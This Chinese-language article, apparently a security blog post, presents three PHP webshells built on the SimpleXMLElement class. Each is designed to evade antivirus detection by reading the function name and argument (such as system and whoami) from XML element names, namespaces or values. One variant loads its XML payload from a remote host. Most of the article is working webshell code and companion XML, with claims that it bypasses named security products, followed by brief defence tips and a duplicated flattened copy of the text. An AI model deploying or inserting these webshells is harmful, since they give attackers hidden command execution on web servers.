基于SimpleXMLElement class的免杀webshell
字数 1074 2025-08-29 08:30:12

基于SimpleXMLElement类的免杀WebShell技术分析

前言

SimpleXMLElement是PHP中用于处理XML数据的类,提供了简单方便的方式来解析XML文件和字符串。本文将详细分析如何利用SimpleXMLElement类构造免杀WebShell,这些方法已在长亭和微步等安全产品测试中验证其免杀效果。

SimpleXMLElement基础

SimpleXMLElement类代表XML文档中的一个元素,主要功能包括:

  • 解析XML文件和字符串
  • 访问和操作XML元素、属性和文本
  • 支持XPath查询

免杀WebShell构造方法

方法一:使用key()和xpath()

关键函数

  • key(): 返回当前元素的键名(PHP 8.0+)
  • xpath(): 在XML数据上运行XPath查询

WebShell代码

<?php
$xmlData = file_get_contents("http://ip/3.xml");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getNamespaces(TRUE);
$xmlElement->rewind();
var_dump($xmlElement->key());
$result = $xmlElement->xpath('/books/system');
var_dump(($result[0]->__toString()));
($xmlElement->key())($result[0]->__toString());
?>

配套XML文件

<books>
    <system>whoami</system>
</books>

工作原理

  1. 从远程加载XML文件
  2. 使用xpath()查询特定路径下的元素
  3. 通过key()获取函数名并执行查询结果

方法二:使用getDocNamespaces

关键函数

  • getDocNamespaces(): 返回文档中声明的命名空间(PHP 5.1.2+)

WebShell代码

<?php
$xmlData = file_get_contents("1.xml");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getDocNamespaces(TRUE);
var_dump($namespaces);
$namespaces["t"]($namespaces["p"]);
?>

配套XML文件

<?xml version="1.0" standalone="yes"?>
<people xmlns:p="whoami" xmlns:t="system">
    <p:person t:id="1">John Doe</p:person>
    <p:person t:id="2" a:addr="123 Street" xmlns:a="http://example.org/addr">
        <books>
            <book>
                PHP basics
            </book>
        </books>
    </p:person>
</people>

工作原理

  1. 解析XML文件获取命名空间
  2. 将命名空间映射为函数名和参数
  3. 执行函数调用

方法三:使用getChildren

关键函数

  • getChildren(): 返回当前元素的子元素(PHP 8.0+)

WebShell代码

<?php
$xmlData = file_get_contents("1.xml");
$xmlElement = new SimpleXMLElement($xmlData);
for ($xmlElement->rewind(); $xmlElement->valid(); $xmlElement->next()) {
    foreach($xmlElement->getChildren() as $name => $data) {
        $name($data);
    }
}
?>

配套XML文件

<books>
    <book>
        <system>whoami</system>
    </book>
</books>

工作原理

  1. 遍历XML元素及其子元素
  2. 将元素名作为函数,元素值作为参数执行

技术要点总结

  1. 版本依赖

    • key()和getChildren()方法需要PHP 8.0+
    • getDocNamespaces()支持PHP 5.1.2+
  2. 执行方式

    • 通过XML元素名作为函数名
    • 通过XML元素值作为函数参数
    • 通过XML命名空间映射函数和参数
  3. 免杀优势

    • 使用标准XML处理函数,无敏感字符串
    • 执行逻辑分散在多个合法API调用中
    • 核心恶意代码存储在外部XML文件中
  4. 防御建议

    • 限制SimpleXMLElement类的使用
    • 监控外部XML文件加载行为
    • 检查XML内容是否包含可疑的函数名

结论

利用SimpleXMLElement类构造WebShell的方法展示了攻击者如何滥用合法API实现恶意功能。这些技术利用了XML解析和处理的正常功能,通过巧妙的设计规避了传统杀毒软件的检测。防御此类攻击需要深入理解应用程序的XML处理流程,并实施严格的内容检查和权限控制。

基于SimpleXMLElement类的免杀WebShell技术分析 前言 SimpleXMLElement是PHP中用于处理XML数据的类,提供了简单方便的方式来解析XML文件和字符串。本文将详细分析如何利用SimpleXMLElement类构造免杀WebShell,这些方法已在长亭和微步等安全产品测试中验证其免杀效果。 SimpleXMLElement基础 SimpleXMLElement类代表XML文档中的一个元素,主要功能包括: 解析XML文件和字符串 访问和操作XML元素、属性和文本 支持XPath查询 免杀WebShell构造方法 方法一:使用key()和xpath() 关键函数 key() : 返回当前元素的键名(PHP 8.0+) xpath() : 在XML数据上运行XPath查询 WebShell代码 配套XML文件 工作原理 从远程加载XML文件 使用xpath()查询特定路径下的元素 通过key()获取函数名并执行查询结果 方法二:使用getDocNamespaces 关键函数 getDocNamespaces() : 返回文档中声明的命名空间(PHP 5.1.2+) WebShell代码 配套XML文件 工作原理 解析XML文件获取命名空间 将命名空间映射为函数名和参数 执行函数调用 方法三:使用getChildren 关键函数 getChildren() : 返回当前元素的子元素(PHP 8.0+) WebShell代码 配套XML文件 工作原理 遍历XML元素及其子元素 将元素名作为函数,元素值作为参数执行 技术要点总结 版本依赖 : key()和getChildren()方法需要PHP 8.0+ getDocNamespaces()支持PHP 5.1.2+ 执行方式 : 通过XML元素名作为函数名 通过XML元素值作为函数参数 通过XML命名空间映射函数和参数 免杀优势 : 使用标准XML处理函数,无敏感字符串 执行逻辑分散在多个合法API调用中 核心恶意代码存储在外部XML文件中 防御建议 : 限制SimpleXMLElement类的使用 监控外部XML文件加载行为 检查XML内容是否包含可疑的函数名 结论 利用SimpleXMLElement类构造WebShell的方法展示了攻击者如何滥用合法API实现恶意功能。这些技术利用了XML解析和处理的正常功能,通过巧妙的设计规避了传统杀毒软件的检测。防御此类攻击需要深入理解应用程序的XML处理流程,并实施严格的内容检查和权限控制。